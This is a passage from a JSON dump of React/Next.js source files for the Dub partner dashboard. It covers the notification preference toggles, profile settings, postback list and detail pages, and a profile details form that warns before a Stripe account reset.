\"default\",\n}: {\n  icon: Icon;\n  label: string;\n  onSelect: () => void;\n  variant?: \"default\" | \"danger\";\n}) {\n  return (\n    <Command.Item\n      onSelect={onSelect}\n      className={cn(\n        \"flex cursor-pointer items-center gap-2 rounded-md px-2 py-1.5 text-sm\",\n        variant === \"danger\"\n          ? \"text-red-600 hover:bg-red-50\"\n          : \"text-neutral-700 hover:bg-neutral-100\",\n      )}\n    >\n      <IconComp className=\"size-4 shrink-0\" />\n      {label}\n    </Command.Item>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/profile/members/page.tsx",
    "content": "import { ProfileMembersPageClient } from \"./page-client\";\n\nexport default function ProfileMembersPage() {\n  return <ProfileMembersPageClient />;\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/profile/notifications/page-client.tsx",
    "content": "\"use client\";\n\nimport { updatePartnerNotificationPreference } from \"@/lib/actions/partners/update-partner-notification-preference\";\nimport { partnerNotificationTypes } from \"@/lib/zod/schemas/partner-profile\";\nimport {\n  CircleCheck,\n  Flag6,\n  InvoiceDollar,\n  MoneyBills2,\n  Msgs,\n  Switch,\n  useOptimisticUpdate,\n} from \"@dub/ui\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport * as z from \"zod/v4\";\n\ntype PreferenceType = z.infer<typeof partnerNotificationTypes>;\ntype Preferences = Record<PreferenceType, boolean>;\n\nconst notifications = [\n  {\n    type: \"commissionCreated\",\n    icon: InvoiceDollar,\n    title: \"New commission event\",\n    description: \"Alert when a new commission event is created.\",\n  },\n  {\n    type: \"applicationApproved\",\n    icon: CircleCheck,\n    title: \"Application approval\",\n    description: \"Alert when an application to a program is approved.\",\n  },\n  {\n    type: \"newMessageFromProgram\",\n    icon: Msgs,\n    title: \"New message from program\",\n    description: \"Alert when a new message is received from a program.\",\n  },\n  {\n    type: \"marketingCampaign\",\n    icon: Flag6,\n    title: \"Marketing campaigns\",\n    description: \"Receive marketing emails from your programs.\",\n  },\n  {\n    type: \"connectPayoutReminder\",\n    icon: MoneyBills2,\n    title: \"Connect payout reminder\",\n    description:\n      \"Reminder email to connect your payout details for receiving earnings from your programs.\",\n  },\n] as const;\n\nexport function PartnerSettingsNotificationsPageClient() {\n  const {\n    data: preferences,\n    isLoading,\n    update,\n  } = useOptimisticUpdate<Preferences>(\n    \"/api/partner-profile/notification-preferences\",\n    {\n      loading: \"Updating notification preference...\",\n      success: \"Notification preference updated.\",\n      error: \"Failed to update notification preference.\",\n    },\n  );\n\n  const { executeAsync } = useAction(updatePartnerNotificationPreference);\n\n  const handleUpdate = async ({\n    type,\n    value,\n    currentPreferences,\n  }: {\n    type: PreferenceType;\n    value: boolean;\n    currentPreferences: Preferences;\n  }) => {\n    await executeAsync({\n      type,\n      value,\n    });\n\n    return {\n      ...currentPreferences,\n      [type]: value,\n    };\n  };\n\n  return (\n    <div className=\"mt-2 grid grid-cols-1 gap-3\">\n      {notifications.map(({ type, icon: Icon, title, description }) => (\n        <div\n          key={type}\n          className=\"flex items-center justify-between gap-4 rounded-xl border border-neutral-200 bg-white p-5\"\n        >\n          <div className=\"flex min-w-0 items-center gap-4\">\n            <div className=\"hidden rounded-full border border-neutral-200 sm:block\">\n              <div className=\"rounded-full border border-white bg-gradient-to-t from-neutral-100 p-1 md:p-3\">\n                <Icon className=\"size-5\" />\n              </div>\n            </div>\n            <div className=\"overflow-hidden\">\n              <div className=\"flex items-center gap-1.5 sm:gap-2.5\">\n                <div className=\"truncate text-sm font-medium\">{title}</div>\n              </div>\n              <div className=\"mt-1 flex items-center gap-1 text-xs\">\n                <span className=\"whitespace-pre-wrap text-neutral-500\">\n                  {description}\n                </span>\n              </div>\n            </div>\n          </div>\n          <Switch\n            checked={preferences?.[type] ?? false}\n            disabled={isLoading}\n            fn={(checked: boolean) => {\n              if (!preferences) return;\n\n              update(\n                () =>\n                  handleUpdate({\n                    type,\n                    value: checked,\n                    currentPreferences: preferences,\n                  }),\n                {\n                  ...preferences,\n                  [type]: checked,\n                },\n              );\n            }}\n          />\n        </div>\n      ))}\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/profile/notifications/page.tsx",
    "content": "import { PageContent } from \"@/ui/layout/page-content\";\nimport { PageWidthWrapper } from \"@/ui/layout/page-width-wrapper\";\nimport { PartnerSettingsNotificationsPageClient } from \"./page-client\";\n\nexport default function PartnerSettingsNotificationsPage() {\n  return (\n    <PageContent\n      title=\"Notifications\"\n      titleInfo={{\n        title:\n          \"Adjust your personal notification preferences and choose which updates you want to receive. These settings will only be applied to your personal account.\",\n      }}\n    >\n      <PageWidthWrapper>\n        <PartnerSettingsNotificationsPageClient />\n      </PageWidthWrapper>\n    </PageContent>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/profile/page-client.tsx",
    "content": "\"use client\";\n\nimport { hasPermission } from \"@/lib/auth/partner-users/partner-user-permissions\";\nimport usePartnerProfile from \"@/lib/swr/use-partner-profile\";\nimport { PageContent } from \"@/ui/layout/page-content\";\nimport { PageWidthWrapper } from \"@/ui/layout/page-width-wrapper\";\nimport { useMergePartnerAccountsModal } from \"@/ui/partners/merge-accounts/merge-partner-accounts-modal\";\nimport { ThreeDots } from \"@/ui/shared/icons\";\nimport { Button, Popover, Users2 } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { useMemo, useState } from \"react\";\nimport { AboutYouForm } from \"./about-you-form\";\nimport { HowYouWorkForm } from \"./how-you-work-form\";\nimport { ProfileDetailsForm } from \"./profile-details-form\";\nimport { ProfileDiscoveryGuide } from \"./profile-discovery-guide\";\nimport { usePartnerDiscoveryRequirements } from \"./use-partner-discovery-requirements\";\n\nexport function ProfileSettingsPageClient() {\n  const { partner } = usePartnerProfile();\n  const tasks = usePartnerDiscoveryRequirements();\n\n  const allTasksCompleted = useMemo(\n    () => tasks?.every(({ completed }) => completed) ?? false,\n    [tasks],\n  );\n\n  return (\n    <PageContent\n      title=\"Profile\"\n      titleInfo={{\n        title:\n          \"Build a stronger partner profile and increase trust by adding and verifying your website and social accounts.\",\n        href: \"https://dub.co/help/article/partner-profile\",\n      }}\n      controls={<Controls />}\n    >\n      <PageWidthWrapper className=\"mb-20 flex flex-col gap-6\">\n        {partner && !allTasksCompleted && <ProfileDiscoveryGuide />}\n        <ProfileDetailsForm partner={partner} />\n        <AboutYouForm partner={partner} />\n        <HowYouWorkForm partner={partner} />\n      </PageWidthWrapper>\n    </PageContent>\n  );\n}\n\nfunction Controls() {\n  const { partner } = usePartnerProfile();\n  const disabled = partner\n    ? !hasPermission(partner.role, \"partner_profile.update\")\n    : true;\n\n  const [isOpen, setIsOpen] = useState(false);\n\n  const { MergePartnerAccountsModal, setShowMergePartnerAccountsModal } =\n    useMergePartnerAccountsModal();\n\n  return (\n    <>\n      <MergePartnerAccountsModal />\n\n      <Popover\n        openPopover={isOpen}\n        setOpenPopover={setIsOpen}\n        content={\n          <div className=\"w-full p-2 md:w-56\">\n            <button\n              onClick={() => {\n                if (!disabled) {\n                  setShowMergePartnerAccountsModal(true);\n                  setIsOpen(false);\n                }\n              }}\n              disabled={disabled}\n              className={cn(\n                \"w-full rounded-md p-2\",\n                disabled\n                  ? \"cursor-not-allowed bg-neutral-50 text-neutral-400\"\n                  : \"hover:bg-neutral-100 active:bg-neutral-200\",\n              )}\n            >\n              <div className=\"flex items-center gap-2 text-left\">\n                <Users2 className=\"size-4 shrink-0\" />\n                <span className=\"text-sm font-medium\">Merge accounts</span>\n              </div>\n            </button>\n          </div>\n        }\n        align=\"end\"\n      >\n        <Button\n          type=\"button\"\n          className=\"h-9 whitespace-nowrap px-2\"\n          variant=\"secondary\"\n          icon={<ThreeDots className=\"size-4 shrink-0\" />}\n          onClick={() => setIsOpen(!isOpen)}\n        />\n      </Popover>\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/profile/page.tsx",
    "content": "import { ProfileSettingsPageClient } from \"./page-client\";\n\nexport default function ProfileSettingsPage() {\n  return <ProfileSettingsPageClient />;\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/profile/postbacks/[id]/page-client.tsx",
    "content": "\"use client\";\n\nimport { PostbackEventProps, PostbackProps } from \"@/lib/types\";\nimport { PageContent } from \"@/ui/layout/page-content\";\nimport { PageWidthWrapper } from \"@/ui/layout/page-width-wrapper\";\nimport { useAddEditPostbackModal } from \"@/ui/postbacks/add-edit-postback-modal\";\nimport { PostbackActions } from \"@/ui/postbacks/partner-postback-actions\";\nimport { PostbackDetailSkeleton } from \"@/ui/postbacks/postback-detail-skeleton\";\nimport { usePostbackEventDetailsSheet } from \"@/ui/postbacks/postback-event-details-sheet\";\nimport { PostbackEventList } from \"@/ui/postbacks/postback-event-list\";\nimport { PostbackEventListSkeleton } from \"@/ui/postbacks/postback-event-list-skeleton\";\nimport { usePostbackSecretModal } from \"@/ui/postbacks/postback-secret-modal\";\nimport { PostbackStatus } from \"@/ui/postbacks/postback-status\";\nimport { BackLink } from \"@/ui/shared/back-link\";\nimport { TokenAvatar } from \"@/ui/token-avatar\";\nimport { EmptyState, Webhook } from \"@dub/ui\";\nimport { fetcher } from \"@dub/utils\";\nimport { redirect, useRouter } from \"next/navigation\";\nimport { useState } from \"react\";\nimport useSWR from \"swr\";\n\ninterface PostbackDetailPageClientProps {\n  postbackId: string;\n}\n\nexport function PostbackDetailPageClient({\n  postbackId,\n}: PostbackDetailPageClientProps) {\n  const router = useRouter();\n  const [openPopover, setOpenPopover] = useState(false);\n\n  const {\n    data: postback,\n    error,\n    isLoading,\n    mutate,\n  } = useSWR<PostbackProps>(\n    postbackId ? `/api/partner-profile/postbacks/${postbackId}` : null,\n    fetcher,\n  );\n\n  const {\n    data: events,\n    error: eventsError,\n    isLoading: isEventsLoading,\n  } = useSWR<PostbackEventProps[]>(\n    postbackId ? `/api/partner-profile/postbacks/${postbackId}/events` : null,\n    fetcher,\n    { keepPreviousData: true },\n  );\n\n  const { postbackEventDetailsSheet, openWithEvent } =\n    usePostbackEventDetailsSheet();\n\n  const { openPostbackSecretModal, PostbackSecretModal } =\n    usePostbackSecretModal();\n\n  const { openEditPostbackModal, AddEditPostbackModal } =\n    useAddEditPostbackModal(() => mutate(), openPostbackSecretModal);\n\n  if (Boolean(error && (error as { status?: number }).status === 404)) {\n    redirect(\"/profile/postbacks\");\n  }\n\n  return (\n    <>\n      {AddEditPostbackModal}\n      {PostbackSecretModal}\n      {postbackEventDetailsSheet}\n      <PageContent\n        title=\"Postbacks\"\n        titleInfo={{\n          title:\n            \"Receive HTTP requests when events like leads, sales, or commissions occur in your partner programs.\",\n          href: \"https://dub.co/help\",\n        }}\n      >\n        <PageWidthWrapper className=\"grid max-w-screen-lg gap-8 pb-10\">\n          <BackLink href=\"/profile/postbacks\">Back to postbacks</BackLink>\n          {isLoading && !postback ? (\n            <PostbackDetailSkeleton />\n          ) : error || !postback ? (\n            <div className=\"rounded-xl border border-neutral-200 py-10 text-center\">\n              <p className=\"text-sm text-red-600\">\n                {error instanceof Error ? error.message : \"Postback not found\"}\n              </p>\n              <button\n                type=\"button\"\n                onClick={() => router.push(\"/profile/postbacks\")}\n                className=\"mt-2 text-sm font-medium text-neutral-700 underline\"\n              >\n                Back to postbacks\n              </button>\n            </div>\n          ) : (\n            <>\n              <div className=\"flex justify-between gap-8 sm:items-center\">\n                <div className=\"flex min-w-0 flex-col gap-3 sm:flex-row sm:items-center\">\n                  <div className=\"w-fit flex-none rounded-md border border-neutral-200 bg-gradient-to-t from-neutral-100 p-2\">\n                    <TokenAvatar id={postback.id} className=\"size-8\" />\n                  </div>\n                  <div className=\"min-w-0\">\n                    <div className=\"flex flex-wrap items-center gap-1\">\n                      <span className=\"font-semibold text-neutral-700\">\n                        {postback.name}\n                      </span>\n                      <PostbackStatus disabledAt={postback.disabledAt} />\n                    </div>\n                    <a\n                      href={postback.url}\n                      target=\"_blank\"\n                      rel=\"noopener noreferrer\"\n                      className=\"line-clamp-1 text-pretty break-all text-sm text-neutral-500 underline-offset-4 hover:text-neutral-700 hover:underline\"\n                    >\n                      {postback.url}\n                    </a>\n                  </div>\n                </div>\n\n                <PostbackActions\n                  postback={postback}\n                  openPopover={openPopover}\n                  setOpenPopover={setOpenPopover}\n                  onEditPostback={openEditPostbackModal}\n                  onMutate={() => mutate()}\n                />\n              </div>\n\n              <div className=\"space-y-4\">\n                <h2 className=\"text-sm font-medium\">Events</h2>\n\n                {isEventsLoading ? (\n                  <PostbackEventListSkeleton />\n                ) : eventsError ? (\n                  <div className=\"rounded-xl border border-neutral-200 py-10 text-center\">\n                    <p className=\"text-sm text-red-600\">\n                      {eventsError instanceof Error\n                        ? eventsError.message\n                        : \"Failed to load events\"}\n                    </p>\n                  </div>\n                ) : events && events.length === 0 ? (\n                  <div className=\"rounded-xl border border-neutral-200 py-10\">\n                    <EmptyState\n                      icon={Webhook}\n                      title=\"No events\"\n                      description=\"No events have been logged for this postback. Events will appear as they are logged.\"\n                    />\n                  </div>\n                ) : (\n                  <PostbackEventList\n                    events={events || []}\n                    onEventClick={openWithEvent}\n                  />\n                )}\n              </div>\n            </>\n          )}\n        </PageWidthWrapper>\n      </PageContent>\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/profile/postbacks/[id]/page.tsx",
    "content": "import { PostbackDetailPageClient } from \"./page-client\";\n\nexport default async function PostbackDetailPage(props: {\n  params: Promise<{ id: string }>;\n}) {\n  const { id } = await props.params;\n\n  return <PostbackDetailPageClient postbackId={id} />;\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/profile/postbacks/add-postback-button.tsx",
    "content": "\"use client\";\n\nimport { Button } from \"@dub/ui\";\n\nexport function AddPostbackButton({ onClick }: { onClick: () => void }) {\n  return (\n    <Button\n      className=\"flex h-10 items-center justify-center whitespace-nowrap rounded-lg border px-4 text-sm\"\n      text=\"Add Postback\"\n      onClick={onClick}\n      aria-label=\"Add postback\"\n    />\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/profile/postbacks/page-client.tsx",
    "content": "\"use client\";\n\nimport { PostbackProps } from \"@/lib/types\";\nimport { PageContent } from \"@/ui/layout/page-content\";\nimport { PageWidthWrapper } from \"@/ui/layout/page-width-wrapper\";\nimport { useAddEditPostbackModal } from \"@/ui/postbacks/add-edit-postback-modal\";\nimport { PostbackCard } from \"@/ui/postbacks/postback-card\";\nimport { PostbackPlaceholder } from \"@/ui/postbacks/postback-placeholder\";\nimport { usePostbackSecretModal } from \"@/ui/postbacks/postback-secret-modal\";\nimport EmptyState from \"@/ui/shared/empty-state\";\nimport { EmptyState as EmptyStateBlock } from \"@dub/ui\";\nimport { fetcher } from \"@dub/utils\";\nimport { AlertCircle, Webhook } from \"lucide-react\";\nimport useSWR from \"swr\";\nimport { AddPostbackButton } from \"./add-postback-button\";\n\nexport function PostbacksPageClient() {\n  const {\n    data: postbacks,\n    error,\n    isLoading,\n    mutate,\n  } = useSWR<PostbackProps[]>(\"/api/partner-profile/postbacks\", fetcher, {\n    keepPreviousData: true,\n  });\n\n  const { openPostbackSecretModal, PostbackSecretModal } =\n    usePostbackSecretModal();\n\n  const { openAddPostbackModal, AddEditPostbackModal } =\n    useAddEditPostbackModal(() => mutate(), openPostbackSecretModal);\n\n  return (\n    <>\n      <PageContent\n        title=\"Postbacks\"\n        titleInfo={{\n          title:\n            \"Receive HTTP requests when events like leads, sales, or commissions occur in your partner programs.\",\n          href: \"https://d.to/postbacks\",\n        }}\n        controls={<AddPostbackButton onClick={openAddPostbackModal} />}\n      >\n        <PageWidthWrapper>\n          <div className=\"grid gap-5\">\n            <div className=\"animate-fade-in\">\n              {isLoading ? (\n                <div className=\"grid grid-cols-1 gap-3\">\n                  {Array.from({ length: 3 }).map((_, idx) => (\n                    <PostbackPlaceholder key={idx} />\n                  ))}\n                </div>\n              ) : error ? (\n                <div className=\"flex flex-col items-center gap-4 rounded-xl border border-neutral-200 py-10\">\n                  <EmptyStateBlock\n                    icon={AlertCircle}\n                    title=\"Failed to load postbacks\"\n                    description={\n                      error instanceof Error\n                        ? error.message\n                        : \"Something went wrong. Please try again.\"\n                    }\n                  >\n                    <button\n                      type=\"button\"\n                      onClick={() => mutate()}\n                      className=\"flex h-8 items-center justify-center gap-2 rounded-md border border-neutral-200 bg-white px-4 text-sm font-medium text-neutral-700 transition-colors hover:bg-neutral-50\"\n                    >\n                      Try again\n                    </button>\n                  </EmptyStateBlock>\n                </div>\n              ) : postbacks && postbacks.length > 0 ? (\n                <div className=\"grid grid-cols-1 gap-3\">\n                  {postbacks.map((postback) => (\n                    <PostbackCard key={postback.id} {...postback} />\n                  ))}\n                </div>\n              ) : (\n                <div className=\"flex flex-col items-center gap-4 rounded-xl border border-neutral-200 py-10\">\n                  <EmptyState\n                    icon={Webhook}\n                    title=\"You haven't set up any postbacks yet.\"\n                    description=\"Postbacks allow you to receive HTTP requests when events like leads, sales, or commissions occur in your partner programs.\"\n                    learnMore=\"https://d.to/postbacks\"\n                  />\n                </div>\n              )}\n            </div>\n          </div>\n        </PageWidthWrapper>\n      </PageContent>\n      {AddEditPostbackModal}\n      {PostbackSecretModal}\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/profile/postbacks/page.tsx",
    "content": "import { PostbacksPageClient } from \"./page-client\";\n\nexport default function PostbacksPage() {\n  return <PostbacksPageClient />;\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/profile/profile-details-form.tsx",
    "content": "import { updatePartnerProfileAction } from \"@/lib/actions/partners/update-partner-profile\";\nimport { hasPermission } from \"@/lib/auth/partner-users/partner-user-permissions\";\nimport { mutatePrefix } from \"@/lib/swr/mutate\";\nimport { PartnerProps } from \"@/lib/types\";\nimport { useConfirmModal } from \"@/ui/modals/confirm-modal\";\nimport { CountryCombobox } from \"@/ui/partners/country-combobox\";\nimport {\n  PartnerPlatformsForm,\n  usePartnerPlatformsForm,\n} from \"@/ui/partners/partner-platforms-form\";\nimport { useCountryChangeWarningModal } from \"@/ui/partners/use-country-change-warning-modal\";\nimport { CustomToast } from \"@/ui/shared/custom-toast\";\nimport { AlertCircleFill } from \"@/ui/shared/icons\";\nimport { PartnerProfileType } from \"@dub/prisma/client\";\nimport {\n  Button,\n  DynamicTooltipWrapper,\n  FileUpload,\n  ToggleGroup,\n  TooltipContent,\n  buttonVariants,\n} from \"@dub/ui\";\nimport { OG_AVATAR_URL, cn } from \"@dub/utils\";\nimport { AnimatePresence, LayoutGroup, motion } from \"motion/react\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport { RefObject, useEffect, useRef, useState } from \"react\";\nimport {\n  Controller,\n  FormProvider,\n  useForm,\n  useFormContext,\n} from \"react-hook-form\";\nimport { toast } from \"sonner\";\nimport { SettingsRow } from \"./settings-row\";\n\ntype BasicInfoFormData = {\n  name: string;\n  email: string;\n  image: string | null;\n  country: string;\n  profileType: PartnerProfileType;\n  companyName: string | null;\n};\n\nexport function ProfileDetailsForm({ partner }: { partner?: PartnerProps }) {\n  const disabled = partner\n    ? !hasPermission(partner.role, \"partner_profile.update\")\n    : true;\n  const basicInfoFormRef = useRef<HTMLFormElement>(null);\n  const partnerPlatformsFormRef = useRef<HTMLFormElement>(null);\n\n  const basicInfoForm = useForm<BasicInfoFormData>({\n    defaultValues: {\n      name: partner?.name,\n      email: partner?.email ?? \"\",\n      image: partner?.image,\n      country: partner?.country ?? \"\",\n      profileType: partner?.profileType ?? \"individual\",\n      companyName: partner?.companyName ?? null,\n    },\n  });\n  const partnerPlatformsForm = usePartnerPlatformsForm({ partner });\n\n  const {\n    setShowConfirmModal: setShowStripeConfirmModal,\n    confirmModal: stripeConfirmModal,\n  } = useConfirmModal({\n    title: \"Confirm profile update\",\n    description:\n      \"Updating your country or profile type will reset your Stripe account, which will require you to restart the payout connection process. Are you sure you want to continue?\",\n    confirmText: \"Continue\",\n    onConfirm: () => {\n      basicInfoFormRef.current?.requestSubmit();\n      partnerPlatformsFormRef.current?.requestSubmit();\n    },\n  });\n\n  return (\n    <div className=\"border-border-subtle divide-border-subtle flex flex-col divide-y rounded-lg border\">\n      {stripeConfirmModal}\n      <div className=\"px-6 py-8\">\n        <h3 className=\"text-content-emphasis text-lg font-semibold leading-7\">\n          Profile details\n        </h3>\n        <p className=\"text-content-subtle text-sm font-normal leading-5\">\n          Basic details that make up your profile.\n        </p>\n      </div>\n\n      <SettingsRow\n        id=\"info\"\n        heading=\"Basic information\"\n        description=\"Your core details, and information that's required to set up your Dub Partner account.\"\n      >\n        <FormProvider {...basicInfoForm}>\n          <BasicInfoForm\n            partner={partner}\n            formRef={basicInfoFormRef}\n            disabled={disabled}\n          />\n        </FormProvider>\n      </SettingsRow>\n\n      <SettingsRow\n        id=\"platforms\"\n        heading=\"Website and socials\"\n        description=\"Add your website and social accounts you use to share links. Verifying as many platforms as possible helps build trust with programs.\"\n      >\n        <PartnerPlatformsForm\n          ref={partnerPlatformsFormRef}\n          partner={partner}\n          form={partnerPlatformsForm}\n          variant=\"settings\"\n        />\n      </SettingsRow>\n\n      <div className=\"flex items-center justify-end rounded-b-lg border-t border-neutral-200 bg-neutral-50 px-6 py-4\">\n        <Button\n          text=\"Save changes\"\n          className=\"h-8 w-fit px-2.5\"\n          disabled={disabled}\n          loading={\n            basicInfoForm.formState.isSubmitting ||\n            partnerPlatformsForm.formState.isSubmitting\n          }\n          onClick={() => {\n            if (disabled) return;\n\n            if (\n              partner?.stripeConnectId &&\n              (basicInfoForm.formState.dirtyFields.country ||\n                basicInfoForm.formState.dirtyFields.profileType ||\n                basicInfoForm.formState.dirtyFields.companyName)\n            ) {\n              setShowStripeConfirmModal(true);\n            } else {\n              basicInfoFormRef.current?.requestSubmit();\n              partnerPlatformsFormRef.current?.requestSubmit();\n            }\n          }}\n        />\n      </div>\n    </div>\n  );\n}\n\nfunction BasicInfoForm({\n  partner,\n  formRef,\n  disabled,\n}: {\n  partner?: PartnerProps;\n  formRef: RefObject<HTMLFormElement | null>;\n  disabled: boolean;\n}) {\n  const {\n    register,\n    control,\n    handleSubmit,\n    setError,\n    watch,\n    setValue,\n    getValues,\n    reset,\n    formState: { errors, isSubmitSuccessful },\n  } = useFormContext<BasicInfoFormData>();\n\n  // Reset form dirty state after submit\n  useEffect(() => {\n    if (isSubmitSuccessful)\n      reset(getValues(), { keepValues: true, keepDirty: false });\n  }, [isSubmitSuccessful, reset, getValues]);\n\n  const { profileType } = watch();\n  const [isCountryComboboxOpen, setIsCountryComboboxOpen] = useState(false);\n  const countryChangeWarning = useCountryChangeWarningModal();\n\n  const { executeAsync } = useAction(updatePartnerProfileAction, {\n    onSuccess: async ({ data }) => {\n      if (data?.needsEmailVerification) {\n        toast.success(\n          \"Please check your email to verify your new email address.\",\n        );\n      } else {\n        toast.success(\"Your profile has been updated.\");\n      }\n      mutatePrefix(\"/api/partner-profile\");\n    },\n    onError({ error }) {\n      setError(\"root.serverError\", {\n        message: error.serverError,\n      });\n\n      if (error.serverError?.includes(\"merge your partner accounts\")) {\n        toast.custom(() => (\n          <CustomToast icon={AlertCircleFill}>\n            Email already in use. Do you want to [merge your partner\n            accounts](https://d.to/merge-partners) instead?\n          </CustomToast>\n        ));\n      } else {\n        toast.error(error.serverError);\n      }\n    },\n  });\n\n  const shouldShowCountryChangeWarning =\n    !disabled &&\n    !partner?.payoutsEnabledAt &&\n    !!partner?.country &&\n    !countryChangeWarning.isAcknowledged;\n\n  return (\n    <form\n      ref={formRef}\n      onSubmit={handleSubmit(async (data) => {\n        const imageChanged = data.image !== partner?.image;\n\n        await executeAsync({\n          ...data,\n          image: imageChanged ? data.image : null,\n        });\n      })}\n    >\n      {countryChangeWarning.modal}\n      <div className=\"flex flex-col gap-6\">\n        <label>\n          <div className=\"flex items-center gap-5\">\n            <Controller\n              control={control}\n              name=\"image\"\n              render={({ field }) => (\n                <FileUpload\n                  accept=\"images\"\n                  className=\"size-20 shrink-0 rounded-full border border-neutral-300 sm:size-32\"\n                  iconClassName=\"w-5 h-5\"\n                  previewClassName=\"size-20 sm:size-32 rounded-full\"\n                  variant=\"plain\"\n                  imageSrc={field.value || `${OG_AVATAR_URL}${partner?.name}`}\n                  readFile\n                  disabled={disabled}\n                  onChange={({ src }) => field.onChange(src)}\n                  content={null}\n                  maxFileSizeMB={2}\n                  targetResolution={{ width: 160, height: 160 }}\n                />\n              )}\n            />\n            <div>\n              <div\n                className={cn(\n                  buttonVariants({ variant: \"secondary\" }),\n                  \"flex h-8 w-fit cursor-pointer items-center rounded-md border px-2.5 text-xs\",\n                )}\n              >\n                Upload image\n              </div>\n              <p className=\"mt-1.5 text-xs text-neutral-500\">\n                Recommended size: 160x160px\n              </p>\n            </div>\n          </div>\n        </label>\n        <label className=\"flex flex-col gap-1.5\">\n          <span className=\"text-sm font-medium text-neutral-800\">\n            Full name\n          </span>\n          <div>\n            <input\n              type=\"text\"\n              disabled={disabled}\n              className={cn(\n                \"block w-full rounded-md focus:outline-none sm:text-sm\",\n                disabled && \"cursor-not-allowed bg-neutral-50 text-neutral-400\",\n                errors.name\n                  ? \"border-red-300 pr-10 text-red-900 placeholder-red-300 focus:border-red-500 focus:ring-red-500\"\n                  : \"border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:ring-neutral-500\",\n              )}\n              placeholder=\"Brendon Urie\"\n              {...register(\"name\", {\n                required: true,\n              })}\n            />\n          </div>\n        </label>\n        <label className=\"flex flex-col gap-1.5\">\n          <span className=\"text-sm font-medium text-neutral-800\">Email</span>\n          <input\n            type=\"email\"\n            disabled={disabled}\n            className={cn(\n              \"block w-full rounded-md focus:outline-none sm:text-sm\",\n              disabled && \"cursor-not-allowed bg-neutral-50 text-neutral-400\",\n              errors.email\n                ? \"border-red-300 pr-10 text-red-900 placeholder-red-300 focus:border-red-500 focus:ring-red-500\"\n                : \"border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:ring-neutral-500\",\n            )}\n            placeholder=\"panic@thedis.co\"\n            {...register(\"email\", {\n              required: true,\n            })}\n          />\n        </label>\n        <label className=\"flex flex-col\">\n          <span className=\"text-sm font-medium text-neutral-800\">Country</span>\n          <Controller\n            control={control}\n            name=\"country\"\n            rules={{ required: true }}\n            render={({ field }) => (\n              <CountryCombobox\n                value={field.value || \"\"}\n                onChange={field.onChange}\n                error={errors.country ? true : false}\n                open={isCountryComboboxOpen}\n                onOpenChange={(open) => {\n                  if (!open) {\n                    setIsCountryComboboxOpen(false);\n                    return;\n                  }\n\n                  if (shouldShowCountryChangeWarning) {\n                    countryChangeWarning.acknowledgeAndContinue(() => {\n                      setIsCountryComboboxOpen(true);\n                    });\n                    return;\n                  }\n\n                  setIsCountryComboboxOpen(true);\n                }}\n                disabledTooltip={\n                  disabled ? (\n                    \"You don't have permission to update this field\"\n                  ) : partner?.payoutsEnabledAt ? (\n                    <TooltipContent\n                      title=\"Since you've already connected your bank account for payouts, you cannot change your profile country.\"\n                      cta=\"Contact support\"\n                      href=\"https://dub.co/support\"\n                      target=\"_blank\"\n                    />\n                  ) : undefined\n                }\n              />\n            )}\n          />\n        </label>\n\n        <label className=\"flex flex-col gap-1.5\">\n          <span className=\"text-sm font-medium text-neutral-800\">\n            Profile type\n          </span>\n          <DynamicTooltipWrapper\n            tooltipProps={{\n              content: disabled ? (\n                \"You don't have permission to update this field\"\n              ) : partner?.payoutsEnabledAt ? (\n                <TooltipContent\n                  title=\"Since you've already connected your bank account for payouts, you cannot change your profile type.\"\n                  cta=\"Contact support\"\n                  href=\"https://dub.co/support\"\n                  target=\"_blank\"\n                />\n              ) : undefined,\n            }}\n          >\n            <LayoutGroup>\n              <div className=\"w-full\">\n                <ToggleGroup\n                  options={[\n                    {\n                      value: \"individual\",\n                      label: \"Individual\",\n                    },\n                    {\n                      value: \"company\",\n                      label: \"Company\",\n                    },\n                  ]}\n                  selected={profileType}\n                  selectAction={(option: \"individual\" | \"company\") => {\n                    if (!disabled && !partner?.payoutsEnabledAt) {\n                      setValue(\"profileType\", option);\n                    }\n                  }}\n                  className={cn(\n                    \"flex w-full items-center gap-0.5 rounded-lg border-neutral-300 bg-neutral-100 p-0.5\",\n                    (disabled || partner?.payoutsEnabledAt) &&\n                      \"cursor-not-allowed\",\n                  )}\n                  optionClassName={cn(\n                    \"h-9 flex items-center justify-center rounded-lg flex-1\",\n                    (disabled || partner?.payoutsEnabledAt) &&\n                      \"pointer-events-none text-neutral-400\",\n                  )}\n                  indicatorClassName=\"bg-white\"\n                />\n              </div>\n            </LayoutGroup>\n          </DynamicTooltipWrapper>\n        </label>\n\n        <AnimatePresence mode=\"popLayout\">\n          {profileType === \"company\" && (\n            <motion.div\n              layout\n              initial={{ opacity: 0, height: 0 }}\n              animate={{ opacity: 1, height: \"auto\" }}\n              exit={{ opacity: 0, height: 0 }}\n              transition={{\n                type: \"spring\",\n                stiffness: 300,\n                damping: 30,\n                opacity: { duration: 0.2 },\n                layout: { duration: 0.3, type: \"spring\" },\n              }}\n              className=\"contents\"\n            >\n              <label className=\"flex flex-col gap-1.5\">\n                <span className=\"text-sm font-medium text-neutral-800\">\n                  Legal company name\n                </span>\n                <div>\n                  <input\n                    type=\"text\"\n                    disabled={disabled}\n                    className={cn(\n                      \"block w-full rounded-md focus:outline-none sm:text-sm\",\n                      disabled &&\n                        \"cursor-not-allowed bg-neutral-50 